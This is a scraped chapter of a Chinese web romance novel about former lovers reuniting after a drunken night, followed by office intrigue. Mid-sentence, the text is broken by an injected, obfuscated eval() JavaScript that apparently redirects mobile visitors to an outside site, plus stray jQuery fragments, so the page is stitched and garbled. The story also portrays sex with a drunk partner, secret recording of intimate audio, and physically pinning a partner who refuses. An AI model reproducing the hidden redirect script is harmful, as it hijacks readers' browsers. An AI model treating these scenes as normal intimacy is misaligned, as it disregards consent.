漆黑的,没有开灯的卧室里,呼吸沉重,空气中是窸窸窣窣布料摩擦的声音。
黑夜阻隔视线,却让感官放大数倍,季延川只感觉到坐在自己身上的人用细若无骨的手,从脖颈滑至小腹。
她指尖所到之处,泛起一阵颤栗。
有什么东西像是要在季延川的身体里爆炸了一样。
季延川捉住江桉胡作非为的手,“江桉……”
他的声音,又哑又沉。
江桉轻轻地笑了声,问他:“你不想吗?”
这简直就是明知故问,想不想的,从他现在的反应就知道得一清二楚。
“你真的醉了。”季延川扣着江桉作乱的手,没动。
他又不是不了解她,醉意上头的时候做什么都不管不顾,等到明天早上醒来,八成什么都不认。要是他们之间能像某些情侣一样,床头吵架床尾和,他早不知道用多少次了。
但季延川却忽略了江桉两只手都是好的,而他,只有一只手能捉住她的。
有什么东西被她握住了。
季延川思想上的某些摇摆想法随着江桉的动作,几乎不复存在。
他太不坚定了,她明天早上不认就不认吧。
季延川松开她的手,扣住了她的腰。
他用实际行动告诉江桉,他到底想不想。
……
这六年半将近七年的时间,季延川身边不乏有女人向他明示或者暗示,只要他点头,可以玩得比谁都花。
但他和谁都是一句话:有女朋友。
识趣的,自然也就撤退了。
不识趣的,要说一句你女朋友管得真严。
人家不识趣,他也不会留面子,说和女朋友管得严没关系,女朋友压根不管,纯粹是他看不上,白送都不要,明白吗?
过了快七年和手相伴的日子,如今再尝甘露,他食髓知味,一而再再而三。
如果不是手限制了发挥,江桉可能整晚都没办法睡觉。
江桉这一晚睡得非常沉,一觉醒来已经是早上十点。江桉摸到手机看时间的时候,人都懵了。
她今天还要上班。
但她很快发现这不是自己家,这柔软的大床,丝绸床单被罩,以及单手撑在枕头上,看着她的季延川。
江桉视线往下,看到了男人裸露在空气中的腹肌,也感觉到被子底下的自己没有穿任何衣服,某个地方甚至还泛着浅浅的疼。
“早啊,”季延川心情不错地打招呼,“我给你向贺聿舟请假了,不着急。”
江桉揉着太阳穴,脑袋是宿醉后的疼,身上也疼。
她闭眼沉思片刻,然后拢着被子坐了起来,非常淡定地开口:“昨天晚上喝醉了……”
“所以发生了一些不可控的事情。”
“大家都是成年人,就……”
话还没说完,江桉就听到季延川笑了出来,震得胸腔都跟着起伏。
江桉眉头拧着,“你笑什么?”
季延川也不说话,做起身来拿起他的手机,解锁,点开录音设备,播放。
“……江桉,我是谁?”
“季……季延川……”
“我在干吗?”
“你在……在……我……”
“喜欢吗?”
“嗯……”
不知道季延川录了多少,但开头这一段就足以让人面红耳赤。
江桉瞪着季延川,“你要不要脸?”
“不好意思,放错了。”季延川笑着掐断这段录音,播放了下一段。
“……宝宝,这六年半,你想过我吗?”
“想。”
“有多想?”
“闲下来就会想,季延川……我真的,很想你……”
说到后面,江桉的声音渐渐小了下来,还带着似有若无的哭腔,一股子委屈感似乎要从屏幕里面溢出来。
江桉眼神颤动,贝齿咬着下唇,有种被看得透透的羞耻感涌上心头。
以及,愤懑。
季延川及时掐断录音,跟江桉说:“我知道你早上起来肯定会翻脸,所以我提前录音,你别想否认。”
江桉气息稳定下来,面不改色地说:“你不用拿录音来提醒我,我没有要否认。只是,在床上说的话,你也信吗?”
“唉?”季延川顿了顿。
江桉没理会他,弯腰捞落在地上的衣服。
结果腰刚弯下去,一只健壮的手臂就穿过她的小腹,单手就把她捞起,压在床上。
他人高又力气大,那么大一个块头压在身上,江桉完全推不动。
更要命的是,他们俩人身上都没穿衣服。刚才至少还有被子阻隔在俩人之间,现在什么都没有了,毫无距离地贴在一块儿。
她恼怒地说:“你让开,你信不信我照你断的手猛砸下去!”
“你砸。”季延川把手送到江桉面前,“手再痛都没你口是心非的话让我心痛,或者你干脆弄死我算了。没有你,还不如死了。”
“我可不想后半生在监狱里度过。”江桉冷哼。
“那你跟我过,荣华富贵锦衣玉食。”
江桉瞪着身上的男人。
季延川:“还有我,我让你开心。”
“走开!”
“怎么了,昨天晚上没让你开心吗?”季延川俯身,他单手在床上撑不了多久。
整个人压得江桉都快要喘不过气来了,“季延川,你……”
“宝宝,你昨天晚上不是这么叫我的。”
昨天晚上江桉是怎么叫季延川的?
她不记得了,好像被季延川诱哄着叫了很多诡异的,她一个都不想回忆起来的称呼。
“你知道我最喜欢你叫我什么吗?”季延川咬着她的耳垂,哑着声音说。
虽然她这会儿不太想搭理季延川,但在这种情况下,实在是很难控制住自己。
季延川在她耳边很轻地说了两个字。
江桉身体一紧,季延川嘶了一声。
随后,他低低地笑,看透了她似的说:“果然,你也喜欢这种禁·忌感,要不说咱们是天生一对呢。”
她有点放弃挣扎了,接受身体最真实的反应。
……
这场荒唐直到Anna在门外疯狂抓门才结束。
江桉懒得动弹,闭着眼背对季延川。
这人心满意足,低头在她露在被子外的肩头亲了一下,说:“你睡会儿,我去给Anna弄吃的。”
季延川也没等她回答,掀开被子随便套了条裤子就从房间里面出去了。
门开,Anna想往房间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15384955|166248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里面冲,被季延川挡在了门外,说:“你妈累了在休息,别进去打扰她。”
江桉:“……”
Anna倒也是听话,说不进去就不进去,走到吃饭的地方坐下,等待投喂。
季延川去冰箱里将早就分装好的狗饭拿出来,放碗里送进微波炉里加热。想起江桉到现在也没吃饭,他就给李岩发消息,让他安排午饭送过来。
李岩过来送午餐的时候还带了文件给季延川签。
他先前住院那段时间,公司的事情也都是李岩两头跑。今天他来的时候还问季延川是不是哪里不舒服,要是严重的话就要去医院,伤筋动骨一百天。
李岩絮絮叨叨的,完全没发现江桉也在公寓里。
季延川早就穿上了上衣,胸口和背上的抓痕看不到的,只有锁骨那边有个小小的牙印。
李岩眼尖地看到了,问道:“季总,Anna咬你了啊?”
他指了指季延川的锁骨。
季延川垂眸看了眼,倒是忘记把这里遮住了。
他不动声色地翻开文件签字,淡淡地嗯了声。
李岩:“Anna疫苗都齐全的,季总您这应该不用去打狂犬疫苗吧?但要是不放心,还是去打一下……不过Anna平时也不咬人啊……”
季延川三两下把文件签好,问李岩:“还有事?”
思绪一下子被岔开,李岩也就忘记狂犬疫苗这个事儿。
他说:“有事儿,季总你之前住院那段时间,季董把您堂兄给安排进了公司。那位季总今天又来云露山栖,说是总公司派来查账的。”
季延川把签字笔往茶几上一丢,“老头儿真能给我找事儿啊。”
“我把人回了,不过估计那位总不死心,过几天还得来。”
“我知道了,你先回,我回头解决。”
李岩拿起茶几上季延川签好字的文件,“好咧季总,有事儿您叫我。”
李岩走后,季延川回房间叫江桉起来吃饭。
体力劳动那么久,再不吃点东西她这个小身板怎么受得了。
进房间的时候见江桉已经起来,靠在床头回消息。
季延川走过去,“我让李岩送了点吃的过来,你起来洗漱吃点?”
他这个位置正好能看到江桉的手机屏幕,瞥见了她跟蒋钊的聊天界面。
季延川看到蒋钊最新发的两条。
-我假期要结束了。
-你要跟我回港城吗?
江桉点开了键盘,但界面上她还没打一个字。
季延川也没催江桉起来,就站在床边看着,看她要回什么。
僵持了几秒,江桉什么也没回,给手机锁屏,掀开被子下床。
“干嘛不回消息?”季延川问。
江桉没好气地回:“钓鱼呢。”
“只钓我这一条,还不够?”
“你心思都花我身上,公司不要了?”
季延川挑眉,八成是刚才他跟李岩的对话,她听到了。
他笑笑,“我说了让你锦衣玉食荣华富贵,就不会让自己一无所有的。”
“那你还挺有自信。”
“毕竟是我放弃了那么多才得到的东西,总不能拱手让人吧。”
他笑着说这话的,但眼神里却没有半点笑意。